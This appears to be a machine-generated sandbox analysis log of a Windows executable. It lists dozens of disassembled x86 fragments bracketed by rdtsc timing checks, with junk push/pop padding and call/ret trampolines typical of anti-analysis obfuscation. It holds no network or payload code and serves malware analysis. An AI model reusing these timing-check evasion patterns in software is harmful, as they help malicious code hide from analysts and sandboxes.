Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8736EF second address: 873769 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b mov bx, 3F0Bh 0x0000000f mov edi, dword ptr [ebp+122D3295h] 0x00000015 push dword ptr fs:[00000000h] 0x0000001c stc 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 mov edi, dword ptr [ebp+122D3B32h] 0x0000002a mov eax, dword ptr [ebp+122D0561h] 0x00000030 push 00000000h 0x00000032 push edx 0x00000033 call 00007FC8292819D8h 0x00000038 pop edx 0x00000039 mov dword ptr [esp+04h], edx 0x0000003d add dword ptr [esp+04h], 00000019h 0x00000045 inc edx 0x00000046 push edx 0x00000047 ret 0x00000048 pop edx 0x00000049 ret 0x0000004a mov edi, dword ptr [ebp+122D3BDAh] 0x00000050 push FFFFFFFFh 0x00000052 adc di, 4DF5h 0x00000057 push eax 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b jnc 00007FC8292819D6h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8763C7 second address: 8763D8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jp 00007FC82927EE76h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873769 second address: 873773 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879489 second address: 8794A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007FC82927EE81h 0x0000000c jng 00007FC82927EE7Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8794A9 second address: 87952E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push esi 0x00000009 call 00007FC8292819D8h 0x0000000e pop esi 0x0000000f mov dword ptr [esp+04h], esi 0x00000013 add dword ptr [esp+04h], 00000019h 0x0000001b inc esi 0x0000001c push esi 0x0000001d ret 0x0000001e pop esi 0x0000001f ret 0x00000020 pushad 0x00000021 mov edx, dword ptr [ebp+122D3AFAh] 0x00000027 jp 00007FC8292819DCh 0x0000002d popad 0x0000002e push 00000000h 0x00000030 sub edi, dword ptr [ebp+122D1FC3h] 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007FC8292819D8h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 pushad 0x00000053 add dword ptr [ebp+122D1FC9h], esi 0x00000059 push esi 0x0000005a xor di, 33F8h 0x0000005f pop ecx 0x00000060 popad 0x00000061 xchg eax, esi 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007FC8292819DBh 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87952E second address: 879538 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC82927EE7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B4DD second address: 87B4E7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC8292819DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B4E7 second address: 87B4F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jbe 00007FC82927EE80h 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D226 second address: 87D240 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b js 00007FC8292819DEh 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879684 second address: 879688 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B6E9 second address: 87B6F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D240 second address: 87D2B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FC82927EE78h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 mov ebx, dword ptr [ebp+124791BFh] 0x00000028 mov edi, dword ptr [ebp+122D3D0Eh] 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ebp 0x00000033 call 00007FC82927EE78h 0x00000038 pop ebp 0x00000039 mov dword ptr [esp+04h], ebp 0x0000003d add dword ptr [esp+04h], 00000016h 0x00000045 inc ebp 0x00000046 push ebp 0x00000047 ret 0x00000048 pop ebp 0x00000049 ret 0x0000004a xchg eax, esi 0x0000004b pushad 0x0000004c pushad 0x0000004d jmp 00007FC82927EE83h 0x00000052 pushad 0x00000053 popad 0x00000054 popad 0x00000055 push eax 0x00000056 push edx 0x00000057 push ecx 0x00000058 pop ecx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879688 second address: 8796A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC8292819E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B6F5 second address: 87B6F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D2B0 second address: 87D2C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 jc 00007FC8292819DCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8796A8 second address: 8796BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC82927EE7Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B6F9 second address: 87B703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E351 second address: 87E356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F269 second address: 87F273 instructions: 0x00000000 rdtsc 0x00000002 js 00007FC8292819D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8800A9 second address: 8800AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F273 second address: 87F279 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883383 second address: 88339F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC82927EE81h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888745 second address: 888750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8258AD second address: 8258B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8880CA second address: 8880CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88820E second address: 888227 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC82927EE7Bh 0x00000007 jg 00007FC82927EE76h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888227 second address: 888235 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888235 second address: 888277 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC82927EE7Eh 0x00000008 jnl 00007FC82927EE76h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007FC82927EE87h 0x0000001a jmp 00007FC82927EE83h 0x0000001f push edi 0x00000020 pop edi 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D238 second address: 81D244 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FC8292819D6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D244 second address: 81D28C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC82927EE89h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007FC82927EE8Dh 0x00000015 jmp 00007FC82927EE87h 0x0000001a jp 00007FC82927EE7Eh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D28C second address: 81D292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892257 second address: 89226A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC82927EE76h 0x0000000a popad 0x0000000b jl 00007FC82927EE7Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89226A second address: 892271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DDC0 second address: 82DDC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DDC6 second address: 82DDDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FC8292819E6h 0x0000000d jmp 00007FC8292819DAh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DDDF second address: 82DDE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DDE3 second address: 82DDE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DDE9 second address: 82DDF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FC82927EE76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892E02 second address: 892E14 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC8292819D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007FC8292819DCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892E14 second address: 892E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jbe 00007FC82927EE85h 0x0000000c push esi 0x0000000d jmp 00007FC82927EE7Dh 0x00000012 pop esi 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jp 00007FC82927EE88h 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 pushad 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892FF5 second address: 892FFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892FFB second address: 892FFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8930D6 second address: 8930DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897081 second address: 897099 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC82927EE80h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8979C8 second address: 8979CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897B1B second address: 897B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC82927EE83h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897B36 second address: 897B55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819E5h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897B55 second address: 897B59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897F68 second address: 897F86 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC8292819D6h 0x00000008 jmp 00007FC8292819E1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897F86 second address: 897F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FC82927EE76h 0x0000000c jmp 00007FC82927EE7Bh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897F9E second address: 897FE6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC8292819D8h 0x00000008 jmp 00007FC8292819DDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 je 00007FC8292819EBh 0x00000016 pushad 0x00000017 jmp 00007FC8292819DEh 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897FE6 second address: 897FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897FEE second address: 89800E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC8292819E0h 0x00000009 popad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d ja 00007FC8292819D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898164 second address: 89818C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC82927EE81h 0x00000009 jne 00007FC82927EE78h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jne 00007FC82927EE90h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89818C second address: 898192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898192 second address: 898196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CD7D second address: 89CD87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CF1C second address: 89CF23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D0B4 second address: 89D0CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jp 00007FC8292819D6h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jng 00007FC8292819D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D514 second address: 89D533 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC82927EE88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89CA70 second address: 89CA7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FC8292819D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D8DE second address: 89D8ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007FC82927EE76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D8ED second address: 89D8F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89DA49 second address: 89DA4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5D33 second address: 8A5D3D instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC8292819DEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4A6B second address: 8A4A71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4A71 second address: 8A4AA1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC8292819D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jno 00007FC8292819D6h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jg 00007FC8292819EAh 0x00000020 jmp 00007FC8292819DEh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4AA1 second address: 8A4AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867ECC second address: 6BDE53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jnc 00007FC8292819D8h 0x0000000e pushad 0x0000000f popad 0x00000010 jc 00007FC8292819D8h 0x00000016 popad 0x00000017 nop 0x00000018 clc 0x00000019 push dword ptr [ebp+122D16CDh] 0x0000001f mov edx, dword ptr [ebp+122D3BE2h] 0x00000025 call dword ptr [ebp+122D33CAh] 0x0000002b pushad 0x0000002c jl 00007FC8292819DCh 0x00000032 xor eax, eax 0x00000034 mov dword ptr [ebp+122D222Bh], eax 0x0000003a mov edx, dword ptr [esp+28h] 0x0000003e jmp 00007FC8292819DDh 0x00000043 mov dword ptr [ebp+122D3C12h], eax 0x00000049 jc 00007FC8292819DEh 0x0000004f jp 00007FC8292819D8h 0x00000055 mov esi, 0000003Ch 0x0000005a mov dword ptr [ebp+122D222Bh], edx 0x00000060 add esi, dword ptr [esp+24h] 0x00000064 stc 0x00000065 lodsw 0x00000067 mov dword ptr [ebp+122D222Bh], ecx 0x0000006d add eax, dword ptr [esp+24h] 0x00000071 stc 0x00000072 mov ebx, dword ptr [esp+24h] 0x00000076 sub dword ptr [ebp+122D2922h], eax 0x0000007c nop 0x0000007d jc 00007FC8292819E4h 0x00000083 push eax 0x00000084 push edx 0x00000085 push eax 0x00000086 pop eax 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867FC7 second address: 867FCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868101 second address: 86811C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC8292819E3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8682BC second address: 868310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FC82927EE82h 0x0000000a popad 0x0000000b push eax 0x0000000c je 00007FC82927EE7Ah 0x00000012 push esi 0x00000013 pushad 0x00000014 popad 0x00000015 pop esi 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push edx 0x0000001b jl 00007FC82927EE8Bh 0x00000021 jmp 00007FC82927EE85h 0x00000026 pop edx 0x00000027 mov eax, dword ptr [eax] 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FC82927EE7Ch 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868310 second address: 86833E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jmp 00007FC8292819E6h 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868538 second address: 86853C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86853C second address: 868540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868540 second address: 8685D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 js 00007FC82927EE8Dh 0x0000000e push eax 0x0000000f jmp 00007FC82927EE85h 0x00000014 pop eax 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007FC82927EE78h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 jnc 00007FC82927EE7Ch 0x00000036 push 00000004h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007FC82927EE78h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 call 00007FC82927EE80h 0x00000057 mov ecx, 045148A1h 0x0000005c pop edx 0x0000005d nop 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 jc 00007FC82927EE76h 0x00000067 pushad 0x00000068 popad 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8685D0 second address: 8685DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FC8292819D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8685DA second address: 8685DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8689DE second address: 8689E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868D2F second address: 868D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
